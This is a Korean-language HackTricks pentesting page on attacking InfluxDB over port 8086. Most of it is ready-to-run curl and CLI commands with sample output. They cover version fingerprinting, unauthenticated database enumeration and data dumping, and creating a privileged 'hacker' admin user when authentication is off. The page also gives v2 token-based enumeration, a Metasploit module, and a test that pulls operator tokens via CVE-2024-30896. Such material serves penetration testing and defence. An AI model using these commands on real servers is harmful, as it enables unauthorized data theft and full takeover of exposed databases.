8086 - Pentesting InfluxDB
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
InfluxDB는 InfluxData에서 개발한 오픈 소스 **시계열 데이터베이스 (TSDB)**입니다. TSDB는 타임스탬프-값 쌍으로 구성된 시계열 데이터를 저장하고 제공하도록 최적화되어 있습니다. 일반 목적의 데이터베이스와 비교할 때, TSDB는 시계열 데이터셋에 대해 저장 공간과 성능에서 현저한 향상을 제공합니다. 이들은 특수 압축 알고리즘을 사용하고 오래된 데이터를 자동으로 삭제하도록 구성할 수 있습니다. 특화된 데이터베이스 인덱스는 쿼리 성능도 향상시킵니다.
기본 포트: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
식별 및 버전 (HTTP)
- v1.x:
GET /ping는 상태 204를 반환하며X-Influxdb-Version및X-Influxdb-Build같은 헤더를 포함합니다. - v2.x+:
GET /health는 서버 버전과 상태를 포함한 JSON을 반환합니다. auth 없이 작동합니다.
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
Tip: 노출된 인스턴스는 종종 /metrics에서 Prometheus-style metrics도 제공합니다.
열거
pentester 관점에서, 이는 민감한 정보를 저장하고 있을 수 있는 또 다른 데이터베이스이므로 모든 정보를 덤프하는 방법을 아는 것이 흥미롭습니다.
인증
InfluxDB는 인증을 요구할 수도 있고 아닐 수도 있습니다.
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
만약 다음과 같은 오류를 받는다면: ERR: unable to parse authentication credentials 이는 credentials를 요구하고 있다는 뜻입니다.
influx –username influx –password influx_pass
influxdb에 인증 우회를 허용하는 취약점이 있었습니다: CVE-2019-20933
수동 열거 (v1 HTTP API / InfluxQL)
CLI가 없더라도 HTTP API는 보통 포트 8086에서 노출되어 있습니다.
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
일부 테스트에서 authentication bypass를 이용할 때 테이블 이름을
select * from "cpu"처럼 큰따옴표로 감싸야 하는 것으로 확인되었습니다.
authentication이 비활성화되어 있으면, 사용자 생성과 escalate도 가능합니다:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
The information of the following CLI example was taken from here.
데이터베이스 표시
발견된 데이터베이스는 telegraf와 internal입니다 (internal은 어디에서나 볼 수 있습니다)
> show databases
name: databases
name
----
telegraf
_internal
테이블/measurements 표시
The InfluxDB documentation에서는 InfluxDB의 measurements가 SQL 테이블에 비유될 수 있다고 설명합니다. 이들 measurements의 명명 규칙은 각각의 내용, 즉 특정 엔티티와 관련된 데이터를 담고 있음을 나타냅니다.
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
열/필드 키 보기
필드 키는 데이터베이스의 열과 같다
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
테이블 덤프
마지막으로 다음과 같이 테이블을 덤프할 수 있습니다.
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (토큰 기반)
InfluxDB 2.x는 토큰 기반 인증과 새로운 API를 도입했습니다 (기본적으로 여전히 8086 사용). 토큰을 얻으면 (leaked logs, default deployments, backups) 다음을 열거할 수 있습니다:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
참고
- For v1.8+, some v2-compatible endpoints exist (
/api/v2/query,/api/v2/write,/health). This is useful if the server is v1 but accepts v2-style requests. - v2에서는 HTTP
Authorization헤더가Token <value>형식이어야 합니다.
자동화된 열거
msf6 > use auxiliary/scanner/http/influxdb_enum
최근 vulns 및 privesc 관심사항 (최근 몇 년)
- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). 특정 조건에서, 인증된 사용자가 authorization 리소스에 대한 읽기 권한을 가지고 기본 조직(default organization)에 있으면 인스턴스 전체 operator 토큰을 나열하고 가져올 수 있었습니다(예:
influx auth ls또는GET /api/v2/authorizations). 해당 토큰으로 공격자는 인스턴스(buckets, tokens, users)를 관리하고 orgs 전반의 모든 데이터에 접근할 수 있습니다. 수정된 빌드가 나오면 업그레이드하고 일반 사용자를 default org에 배치하지 마세요. 간단한 테스트:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- 많은 레거시 1.x 배포들이 여전히 인터넷상에서 인증 없이
/query및/write를 노출하고 있습니다. 인증이 비활성화되어 있으면 시계열 데이터를 마음대로 덤프하거나 수정할 수 있으며, 위에 설명한 것처럼 관리자 계정을 생성할 수도 있습니다. CLI가 차단하더라도 항상 HTTP API로 확인하세요.
References
- InfluxData docs: InfluxDB v1/v2 HTTP API reference (엔드포인트 예:
/ping,/health,/query,/api/v2/authorizations). https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896: InfluxDB OSS 2.x의 operator 토큰 노출. https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


